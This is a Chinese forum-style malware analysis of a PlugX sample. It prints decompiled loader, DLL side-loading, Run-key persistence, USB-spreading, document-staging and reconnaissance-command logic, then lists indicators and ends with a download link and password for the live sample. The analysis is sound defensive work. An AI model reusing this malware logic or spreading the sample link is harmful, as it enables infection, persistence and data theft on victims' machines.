PlugX样本分析
本片文章对PlugX某样本行为进行分析。
样本信息
样本的基本信息
| type |
hash |
| SHA256: |
00fbfaf36114d3ff9e2c43885341f1c02fade82b49d1cf451bc756d992c84b06 |
| MD5: |
c1c9624b21f71e4565b941a37db3815a |
| SHA1: |
1c251974b2e6f110d96af5b23ad036954ba15e4e |
解压样本发现样本文件夹内有三个文件，分别是AvastSvc.exe、wsc.dll、AvastAuth.dat。下面对文件逐个进行分析。
AvastSvc.exe
这是一个白文件，程序只有一个start函数，内容是导入wsc.dll，执行其run()函数。
void __noreturn start()
{
HMODULE v0;
HMODULE v1;
FARPROC v2;
LPWSTR v3;
DWORD v4;
v0 = LoadLibraryW(L"wsc.dll");
v1 = v0;
if ( v0 )
{
v2 = GetProcAddress(v0, "_run@4");
if ( v2 )
{
v3 = GetCommandLineW();
v4 = ((int (__stdcall *)(_DWORD))v2)(v3);
FreeLibrary(v1);
}
else
{
v4 = GetLastError();
FreeLibrary(v1);
}
}
else
{
v4 = GetLastError();
}
ExitProcess(v4);
}
可以看到样本为了躲避检测采取了白+黑的方式进行，这也是许多恶意软件用来躲避检测的常见方式。
wsc.dll
先对dll文件进行静态分析
int sub_10001BF0()
{
HMODULE v0;
FARPROC v1;
unsigned int i;
char v4;
char v5;
char v6;
CHAR String2;
char v8;
int v9;
_BYTE *v10;
CHAR String1;
char v12;
int v13;
unsigned int v14;
char v15;
char v16;
char v17;
char v18;
char v19;
char v20;
char v21;
char v22;
char v23;
char v24;
char v25;
CHAR ModuleName;
char v27;
char v28;
char v29;
char v30;
char v31;
char v32;
char v33;
char v34;
char v35;
int v36;
int v37;
int v38;
int v39;
CHAR ProcName;
char v41;
char v42;
char v43;
char v44;
char v45;
char v46;
char v47;
char v48;
char v49;
char v50;
char v51;
char v52;
char v53;
char v54;
char v55;
char v56;
char v57;
char v58;
_BYTE *v59;
v15 = '\\';
v16 = 'A';
v17 = 'v';
v18 = 'a';
v19 = 's';
v20 = 't';
v21 = 'A';
v22 = 'u';
v23 = 't';
v24 = 'h';
v25 = '\0';
String1 = '\0';
sub_10002680(&v12, 0, 0x103u);
ModuleName = 'k';
v27 = 'e';
v28 = 'r';
v29 = 'n';
v30 = 'e';
v31 = 'l';
v32 = '3';
v33 = '2';
v34 = '\0';
v38 = 9;
ProcName = 'G';
v41 = 'e';
v42 = 't';
v43 = 'M';
v44 = 'o';
v45 = 'd';
v46 = 'u';
v47 = 'l';
v48 = 'e';
v49 = 'F';
v50 = 'i';
v51 = 'l';
v52 = 'e';
v53 = 'N';
v54 = 'a';
v55 = 'm';
v56 = 'e';
v57 = 'A';
v58 = '\0';
v0 = GetModuleHandleA(&ModuleName);
v1 = GetProcAddress(v0, &ProcName);
(v1)(0, &String1, 260);
v59 = sub_10002660(&String1, '\\');
v4 = -8;
if ( v59 )
{
*v59 = 0;
v4 = -113;
}
v35 = '.';
v36 = 'tad';
v38 = 5;
String2 = 0;
sub_10002680(&v8, 0, 0x3Fu);
v9 = sub_10002D40(&v15);
sub_10002C10(&String2, &v15, v9);
sub_10002AD0(&String2, &v35, 4u);
lstrcatA(&String1, &String2);
v10 = 0;
v39 = 0;
v13 = 0;
sub_10001000(&String1, &v39, &v13);
v5 = (((((((-38 * ((-26 * (((v4 ^ 0xE5 | 0xF5) ^ 0x4C) >> 4) | 0xCE) + 76) - 34) & 0x6D) - 19) / 39 >> 6) & 0xC9) + 60) ^ 0xCF)
/ 171
/ 101
/ 178
/ 146
- 14;
if ( !v13 )
{
sub_10002A4D(0);
v5 &= 0x7Bu;
}
v37 = v39;
v14 = sub_10002D40(v39);
v13 = v13 - v14 - 1;
v39 += v14 + 1;
v10 = LocalAlloc(0x40u, v13 + 1);
v6 = (((4 * ((((v5 + 19) ^ 0xC4) >> 5) | 0xBA) & 0x34) - 61) >> 6) & 0xCD;
for ( i = 0; i < v13; ++i )
{
v10[i] = *(i + v39);
v10[i] ^= *(v37 + i % v14);
v6 = (v6 ^ 0x3A) / 137;
}
return sub_100015D0(v10, v13);
}
函数sub_10001000对.dat文件进行读操作，读取的值作为中间值进行了自解密运算，保存到v10中，最后获取读写操作权限。
下面我们进行动态分析在v10下断点找到shellcode进行提取。这个时候eax保存的值就是shellcode生成的地址，edx存储的是shellcode的长度。二进制复制到010editor上保存文件可以得到shellcode
shellcode
下面对生成的dll行为进行分析，先找到入口函数DllMain()，比较容易的找到关键函数。
int DllMain()
{
int v0;
int v2;
void *v3;
int v4;
void *v5;
int v6;
int v7;
unknown_libname_2();
v7 = 0;
v0 = exec_GetCommandLineW();
v6 = exec_CommandLineToArgvW(v0, &v7);
switch ( v7 )
{
case 1:
run_self();
exec_ExitProcess(0);
break;
case 2:
v5 = sub_1000C3E0();
v4 = exec_CreateMutexW(0, 0, v5);
if ( exec_GetLastError() == 0xB7 )
exec_ExitProcess(0);
if ( !exec_memcmp(*(v6 + 4), L"-net", 8) )
{
Reg_Network();
run_self();
exec_ExitProcess(0);
}
sub_100153A0();
sub_100019B0(0);
exec_CloseHandle(v4);
break;
case 3:
sub_10015400(*(v6 + 4));
v3 = sub_1000C3E0();
v2 = exec_CreateMutexW(0, 0, v3);
if ( exec_GetLastError() != 0xB7 )
{
exec_CloseHandle(v2);
run_self();
}
exec_ExitProcess(0);
break;
}
unknown_libname_1();
return 0;
}
函数经过分析后采取了比较易读的命名方式。下面对关键函数进行依次分析。
在上面的代码中，这个程序要获取当前进程的命令行字符串，使用switch来进行流程的执行。
v7 = 1时执行case 1操作
case1
run_self()函数
int sub_100090E0()
{
unsigned int v0;
int len;
int len_0;
char v4[520];
wchar_t Ext;
char v6[510];
char v7[520];
wchar_t Filename;
char v9[510];
WCHAR v10;
char v11[518];
WCHAR v12;
char v13[518];
char v14[520];
char v15[520];
wchar_t Dir;
char v17[510];
wchar_t FullPath;
char v19[518];
WCHAR v20[260];
WCHAR v21;
char v22[518];
char ppath[520];
_WORD v24[260];
int v25[12];
__int16 v26;
HANDLE hObject;
HANDLE v28;
__int16 v29[46];
__int16 v30[20];
__int16 v31[16];
WCHAR v32;
int v33;
__int16 v34;
wchar_t Drive;
int v36;
int v37;
int pName;
v31[0] = '%';
v31[2] = 's';
v31[3] = 'e';
v31[4] = 'r';
v31[5] = 'p';
v31[6] = 'r';
v31[7] = 'o';
v31[8] = 'f';
v31[9] = 'i';
v31[10] = 'l';
v31[11] = 'e';
v31[12] = '%';
v31[13] = '\\';
v31[14] = '\0';
v30[0] = '%';
v30[1] = 'a';
v30[3] = 'l';
v30[4] = 'u';
v30[5] = 's';
v30[6] = 'e';
v30[7] = 'r';
v30[8] = 's';
v30[9] = 'p';
v30[10] = 'r';
v30[11] = 'o';
v30[12] = 'f';
v30[13] = 'i';
v30[14] = 'l';
v30[15] = 'e';
v30[16] = '%';
v30[17] = '\\';
v30[18] = '\0';
exec_lstrcpyW(v14, v31);
exec_lstrcpyW(v15, v30);
pName = sub_1000C320();
exec_lstrcatW(v14, pName);
exec_lstrcatW(v15, pName);
exec_lstrcatW(v14, L"\\");
exec_lstrcatW(v15, L"\\");
exec_ExpandEnvironmentStringsW(v15, v24, 520);
if ( exec_GetFileAttributesW(v24) == -1 && !exec_CreateDirectoryW(v24, 0) )
exec_ExpandEnvironmentStringsW(v14, v24, 520);
exec_lstrcpyW(ppath, v24);
exec_lstrcatW(ppath, L"AvastSvc.exe");
exec_lstrcpyW(v7, v24);
exec_lstrcatW(v7, L"wsc.dll");
exec_lstrcpyW(v4, v24);
exec_lstrcatW(v4, L"AvastAuth.dat");
Drive = 0;
v36 = 0;
Dir = 0;
memset(v17, 0, sizeof(v17));
Filename = 0;
memset(v9, 0, sizeof(v9));
Ext = 0;
memset(v6, 0, sizeof(v6));
v21 = 0;
memset(v22, 0, sizeof(v22));
FullPath = 0;
memset(v19, 0, sizeof(v19));
v10 = 0;
memset(v11, 0, sizeof(v11));
v12 = 0;
memset(v13, 0, sizeof(v13));
exec_GetModuleFileNameW(0, &FullPath, 520);
_wsplitpath_s(&FullPath, &Drive, 3u, &Dir, 0x100u, &Filename, 0x100u, &Ext, 0x100u);
wsprintfW(&v21, L"%s%s", &Drive, &Dir);
wsprintfW(&v10, L"%s%s", &v21, L"wsc.dll");
wsprintfW(&v12, L"%s%s", &v21, L"AvastAuth.dat");
sub_10007380(v24);
exec_SetFileAttributesW(v24, 2);
exec_SetFileAttributesW(v24, 2);
exec_CopyFileW(&FullPath, ppath, 0);
exec_CopyFileW(&v10, v7, 0);
exec_CopyFileW(&v12, v4, 0);
v0 = exec_GetSystemTimeAsFileTime(0);
srand(v0);
v37 = rand() % 899 + 100;
wsprintfW(v20, L"\"%s\" %d", ppath, v37);
v29[0] = 'S';
v29[1] = 'o';
v29[2] = 'f';
v29[3] = 't';
v29[4] = 'w';
v29[5] = 'a';
v29[6] = 'r';
v29[7] = 'e';
v29[8] = '\\';
v29[9] = 'M';
v29[10] = 'i';
v29[11] = 'c';
v29[12] = 'r';
v29[13] = 'o';
v29[14] = 's';
v29[15] = 'o';
v29[16] = 'f';
v29[17] = 't';
v29[18] = '\\';
v29[19] = 'W';
v29[20] = 'i';
v29[21] = 'n';
v29[22] = 'd';
v29[23] = 'o';
v29[24] = 'w';
v29[25] = 's';
v29[26] = '\\';
v29[27] = 'C';
v29[28] = 'u';
v29[29] = 'r';
v29[30] = 'r';
v29[31] = 'e';
v29[32] = 'n';
v29[33] = 't';
v29[34] = 'V';
v29[35] = 'e';
v29[36] = 'r';
v29[37] = 's';
v29[38] = 'i';
v29[39] = 'o';
v29[40] = 'n';
v29[41] = '\\';
v29[42] = 'R';
v29[43] = 'u';
v29[44] = 'n';
v29[45] = '\0';
len = exec_lstrlenW(v20);
exec_RegCreate_SetKeyExW(0x80000002, v29, pName, v20, 2 * len + 2, 1);
len_0 = exec_lstrlenW(v20);
exec_RegCreate_SetKeyExW(0x80000001, v29, pName, v20, 2 * len_0 + 2, 1);
v32 = 0;
v33 = 0;
v34 = 0;
wsprintfW(&v32, L" %d", v37);
exec_lstrcatW(ppath, &v32);
exec_memset(&hObject, 0, '\x10');
exec_memset(v25, 0, 0x44);
v25[0] = 0x44;
v25[11] = '\x01';
v26 = 1;
if ( exec_CreateProcessW(0, ppath, 0, 0, 0, 4, 0, 0, v25, &hObject) )
{
exec_ResumeThread(v28);
CloseHandle(hObject);
CloseHandle(v28);
}
return 0;
}
这段代码先指向C:\程序数据，创建一个文件夹，然后将三个程序wsc.dll、AvastSvc.exe、AvastAuth.dat复制到文件夹内。后对文件夹内的三个文件设置注册表的HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \Windows \ CurrentVersion \ Run键值进行自启动设置，最后创建AvastSvc.exe进程。
执行case2操作流程：先创建一个互斥体，拿命令行第四个参数与“-net”字符串进行比较，不相同则执行Reg_Network()函数。而Reg_Network()函数功能是将注册表HKEY_LOCAL_MACHINE \ SYSTEM \ ControlSet001 \Control \ Network\Version置1，后面同样执行run_self()，再往后执行sub_100153A0()函数。
case2
sub_100153A0()
int sub_100153A0()
{
int v1;
int v2;
sub_10015600();
v1 = 0;
v2 = exec_CreateThread(0, 0, sub_10014E10, 0, 0, &v1);
if ( v2 )
{
exec_CloseHandle(v2);
v2 = 0;
}
return 0;
}
其中sub_10015600()函数如下
sub_10015600()
int sub_10015600()
{
wchar_t v1[18];
wchar_t v2[16];
wchar_t v3[16];
wchar_t SubStr[16];
wchar_t v5[16];
wchar_t v6[14];
__int16 v7[18];
SubStr[0] = 'A';
SubStr[1] = 'd';
SubStr[2] = 'o';
SubStr[3] = 'b';
SubStr[4] = 'e';
SubStr[5] = 'H';
SubStr[6] = 'e';
SubStr[7] = 'l';
SubStr[8] = 'p';
SubStr[9] = 'e';
SubStr[10] = 'r';
SubStr[11] = '.';
SubStr[12] = 'e';
SubStr[13] = 'x';
SubStr[14] = 'e';
SubStr[15] = '\0';
v1[0] = 'A';
v1[1] = 'd';
v1[2] = 'o';
v1[3] = 'b';
v1[4] = 'e';
v1[5] = 'U';
v1[6] = 'p';
v1[7] = 'd';
v1[8] = 'a';
v1[9] = 't';
v1[10] = 'e';
v1[11] = 's';
v1[12] = '.';
v1[13] = 'e';
v1[14] = 'x';
v1[15] = 'e';
v1[16] = '\0';
v2[0] = 'A';
v2[1] = 'd';
v2[2] = 'o';
v2[3] = 'b';
v2[4] = 'e';
v2[5] = 'U';
v2[6] = 'p';
v2[7] = 'd';
v2[8] = 'a';
v2[9] = 't';
v2[10] = 'e';
v2[11] = '.';
v2[12] = 'e';
v2[13] = 'x';
v2[14] = 'e';
v2[15] = '\0';
v6[0] = 'A';
v6[1] = 'd';
v6[2] = 'o';
v6[3] = 'b';
v6[4] = 'e';
v6[5] = 'A';
v6[6] = 'R';
v6[7] = 'M';
v6[8] = '.';
v6[9] = 'e';
v6[10] = 'x';
v6[11] = 'e';
v6[12] = '\0';
v5[0] = 'A';
v5[1] = 'A';
v5[2] = 'M';
v5[3] = ' ';
v5[4] = 'U';
v5[5] = 'p';
v5[6] = 'd';
v5[7] = 'a';
v5[8] = 't';
v5[9] = 'e';
v5[10] = '.';
v5[11] = 'e';
v5[12] = 'x';
v5[13] = 'e';
v5[14] = '\0';
v3[0] = 'A';
v3[1] = 'A';
v3[2] = 'M';
v3[3] = ' ';
v3[4] = 'U';
v3[5] = 'p';
v3[6] = 'd';
v3[7] = 'a';
v3[8] = 't';
v3[9] = 'e';
v3[10] = 's';
v3[11] = '.';
v3[12] = 'e';
v3[13] = 'x';
v3[14] = 'e';
v3[15] = '\0';
v7[0] = 'S';
v7[1] = 'e';
v7[2] = 'D';
v7[3] = 'e';
v7[4] = 'b';
v7[5] = 'u';
v7[6] = 'g';
v7[7] = 'P';
v7[8] = 'r';
v7[9] = 'i';
v7[10] = 'v';
v7[11] = 'i';
v7[12] = 'l';
v7[13] = 'e';
v7[14] = 'g';
v7[15] = 'e';
v7[16] = 0;
sub_100072B0(v7, 1);
sub_100133D0(SubStr);
sub_100133D0(v1);
sub_100133D0(v2);
sub_100133D0(v6);
sub_100133D0(v5);
sub_100133D0(v3);
return sub_100072B0(v7, 0);
}
函数将AdobeHelper.exe、AdobeUpdates.exe、 AdobeUpdate.exe、AdobeARM.exe、AM Update.exe、AAM Updates.exe字符串传入sub_100133D0()函数，sub_100072B0()的功能是获得文件的写访问权。而sub_100133D0()的内容是关闭进程、遍历磁盘删除文件、删除启动项。
回到sub_100153A0()函数，后面创建了一个线程，为函数sub_10014E10()
sub_10014E10()
void __stdcall sub_10014E10(int a1)
{
int v1;
__int16 lpBuffer;
char v3[518];
wchar_t pFilePath;
char v5[518];
int v6;
int v7;
int v8;
wchar_t *v9;
int v10;
int v11;
int v12;
__int16 *v13;
exec_SetErrorMode(1);
v10 = 0;
lpBuffer = 0;
memset(v3, 0, sizeof(v3));
pFilePath = 0;
memset(v5, 0, sizeof(v5));
v13 = 0;
while ( 1 )
{
exec_memset(&lpBuffer, 0, 8);
exec_GetLogicalDriveStringsW(520, &lpBuffer);
v13 = &lpBuffer;
v6 = 1;
while ( *v13 )
{
exec_memset(&pFilePath, 0, 8);
exec_lstrcpyW(&pFilePath, L"\\\\.\\");
exec_lstrcatW(&pFilePath, v13);
v9 = exec_wcsrchr(&pFilePath, '\\');
*v9 = 0;
v10 = CreateFile_0(&pFilePath);
if ( v10 == 1 )
{
v8 = 0;
v7 = 0;
v12 = exec_CreateThread(0, 0, sub_100151E0, &pFilePath, 0, &v8);
if ( v12 )
{
exec_CloseHandle(v12);
v12 = 0;
}
exec_Sleep(100);
v11 = exec_CreateThread(0, 0, sub_10015030, &pFilePath, 0, &v7);
if ( v11 )
{
exec_CloseHandle(v11);
v11 = 0;
}
exec_Sleep(1000);
}
v1 = exec_lstrlenW(v13);
v13 += v1 + 1;
}
exec_Sleep(30000);
}
}
函数创建了两个线程，在创建线程之前函数对整个磁盘进行遍历，并打开磁盘，之后在打开的磁盘中创建两个线程sub_100151E0()与sub_10015030()
sub_100151E0()
int __stdcall sub_100151E0(_WORD *a1)
{
WCHAR v2;
char v3[518];
wchar_t SysId;
char v5[518];
int v6;
wchar_t *v7;
int v8;
WCHAR pFileName;
int v10;
int v11;
__int16 v12;
_WORD *v13;
int v14;
exec_SetErrorMode(1);
v13 = a1;
pFileName = 0;
v10 = 0;
v11 = 0;
v12 = 0;
if ( *a1 == '\\' && v13[1] == '\\' )
wsprintfW(&pFileName, L"%c:\\", v13[4]);
else
wsprintfW(&pFileName, L"%ws", v13);
v2 = 0;
memset(v3, 0, sizeof(v3));
SysId = 0;
memset(v5, 0, sizeof(v5));
exec_lstrcpyW(&SysId, &pFileName);
v7 = exec_wcsrchr(&SysId, ':');
*v7 = 0;
wsprintfW(&v2, L"USB_NOTIFY_INF_%ws", &SysId);
v14 = exec_CreateMutexW(0, 0, &v2);
if ( exec_GetLastError() != 0xB7 )
{
v8 = 0;
v6 = exec_CreateThread(0, 0, sub_10013ED0, 0, 0, &v8);
while ( sub_10015E00(&pFileName) != 2 )
exec_Sleep(60000);
}
exec_ReleaseMutex(v14);
exec_CloseHandle(v14);
return 0;
}
函数进入每个驱动器之后创建互斥体USB_NOTIFY_INF_然后创建线程，设置隐藏注册表项。在while内部的sub_10015E00()函数查看网络连接、在驱动器中复制自身，并且创建伪装快捷方式文件.lnk 在回收站创建CEFHelper.exe文件，最后释放互斥体。
sub_10015030()
int __stdcall sub_10015030(_WORD *a1)
{
LPCWSTR v2;
DWORD v3;
DWORD v4;
wchar_t SysId;
char v6[518];
wchar_t *v7;
WCHAR pFilePath;
int v9;
int v10;
__int16 v11;
_WORD *v12;
int v13;
exec_SetErrorMode(1);
v12 = a1;
pFilePath = 0;
v9 = 0;
v10 = 0;
v11 = 0;
if ( *a1 == '\\' && v12[1] == '\\' )
wsprintfW(&pFilePath, L"%c:\\", v12[4]);
else
wsprintfW(&pFilePath, L"%ws", v12);
LOWORD(v2) = 0;
memset(&v2 + 2, 0, 0x206u);
SysId = 0;
memset(v6, 0, sizeof(v6));
exec_lstrcpyW(&SysId, &pFilePath);
v7 = exec_wcsrchr(&SysId, ':');
*v7 = 0;
wsprintfW(&v2, L"USB_NOTIFY_COP_%ws", &SysId);
v13 = exec_CreateMutexW(0, 0, &v2);
if ( exec_GetLastError() == 0xB7 )
{
exec_ReleaseMutex(v13);
exec_CloseHandle(v13);
v13 = 0;
return 0;
}
if ( InternetCheckConnectionW_0(v2, v3, v4) )
{
sub_10010600(&pFilePath);
}
else
{
if ( !sub_10012E60() )
return 0;
sub_10010BA0(&pFilePath);
sub_100123C0(&pFilePath);
}
exec_ReleaseMutex(v13);
exec_CloseHandle(v13);
return 0;
}
同上，创建一个互斥锁，检查网络连接https://www.microsoft.com ，连接正常则将某些指定格式的文件进行base64加密并传入回收站中。后面设置Network的注册表为1，sub_10010BA0()函数设置清空回收站注册表项，创建一个进程使用某些shell获取计算机的基本信息（ipconfig /all netstat -ano arp -a tasklist /v systeminfo）并且将文件tc3lzLmluZm8放入回收站将tmp.bat删除，并且创建进程。
回到主函数,sub_100019B0是套接字相关函数，如下
int __stdcall sub_100019B0(int a1)
{
__int16 v2[18];
__int16 v3[16];
int v4;
int v5;
int v6;
int v7;
int v8;
int v9;
int v10;
char v11[4];
sub_1000F960();
v2[0] = 'S';
v2[1] = 'e';
v2[2] = 'D';
v2[3] = 'e';
v2[4] = 'b';
v2[5] = 'u';
v2[6] = 'g';
v2[7] = 'P';
v2[8] = 'r';
v2[9] = 'i';
v2[10] = 'v';
v2[11] = 'i';
v2[12] = 'l';
v2[13] = 'e';
v2[14] = 'g';
v2[15] = 'e';
v2[16] = 0;
v10 = sub_100072B0(v2, 1);
v3[0] = 'S';
v3[1] = 'e';
v3[2] = 'T';
v3[3] = 'c';
v3[4] = 'b';
v3[5] = 'P';
v3[6] = 'r';
v3[7] = 'i';
v3[8] = 'v';
v3[9] = 'i';
v3[10] = 'l';
v3[11] = 'e';
v3[12] = 'g';
v3[13] = 'e';
v3[14] = 0;
v9 = sub_100072B0(v3, 1);
v8 = sub_10009AE0();
unknown_libname_3(v11);
v7 = sub_100164D0(v11);
v6 = sub_100165A0(v11);
v5 = sub_100164A0(v11);
sub_10001850(dword_10028CEC);
sub_1000A210();
sub_1000EE80();
v4 = 0;
unknown_libname_4(v11);
return v4;
}
函数先提升权限，后创建一个线程创建一个套接字实现连接操作，可以执行远程用户的命令来篡改受感染的计算机，之后创建一个注册表Software\CLASSES\ms-pu\PROXY。
执行case3如下
case3
实现发送消息、执行shell的open操作。并且执行run_self操作。
总结
样本的行为事件总结如下：
注册表项
-
AvastSvcPYT = "% ProgramData% \ AvastSvcPYT \ AvastSvc.exe" : HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \Windows \ CurrentVersion \ Run
-
AvastSvcPYT = "% ProgramData% \ AvastSvcPYT \ AvastSvc.exe" : HKEY_CURRENT_USER \ Software \ Microsoft \Windows \ CurrentVersion \ Run
-
HKEY_LOCAL_MACHINE \ SYSTEM \ ControlSet001 \ Control \ Network Version = 1
-
HKEY_CURRENT_USER \ System \ CurrentControlSet \ Control \ Network Version = 1
-
HKEY_LOCAL_MACHINE \ SOFTWARE \ Classes \ ms-pu CLSID = {645FF040-5081-101B-9F08-00AA002F954E}
互斥体
-
USB_NOTIFYCOP
-
USB_NOTIFYINF
创建文件/目录
-
% ProgramData% \ AvastSvcPYT
-
% ProgramData% \ AvastSvcPYT \ AvastSvc.exe
-
% ProgramData% \ AvastSvcPYT \ AvastAuth.dat
-
% ProgramData% \ AvastSvcPYT \ wsc.dll
删除的文件
- 它会删除在终止进程的文件夹中找到的所有文件。(未定位)
- 它删除终止进程的文件夹。(未定位)
- 它将以下文件放入 {Drive} \RECYCLER.BIN：
- tmp.bat
- c3lzLmluZm8
- CEFHelper.exe
- AvastAuth.dat
- wsc.dll
创建进程
- % ProgramData% \ AvastSvcPYT \ AvastSvc.exe
关闭进程
- AdobeHelper.exe
- AdobeUpdates.exe
- AdobeUpdate.exe
- AdobeARM.exe
- AAM Update.exe
- AAM Updates.exe
信息泄露（执行的命令）
- systeminfo
- ipconfig
- netstat
- arp
- tasklist
编码/加密
- 扩展名为 .doc、.docx、.ppt、.pptx、.xls、.xlsx、.pdf使用base64加密并放入回收站
远程连接
第一次分析APT样本，在网络连接方面没确定接收命令的接收函数在哪。从恶意程序网络连接的行为来看，可以推测存在远程命令执行的操作。另外恶意进程在任务管理器中无法删除，存在删除终止进程的文件的代码，也没定位。后面会随缘再尝试分析代码找找。感谢您读到这。
样本链接
链接：https://pan.baidu.com/s/1Y_xrV-7fAQRziJ7Z7u4PUQ
提取码：pttc
压缩密码：52pojie
参考链接：
[复制链接]
发表于 2024-12-25 16:00
收藏
淘帖
有用
分享到朋友圈
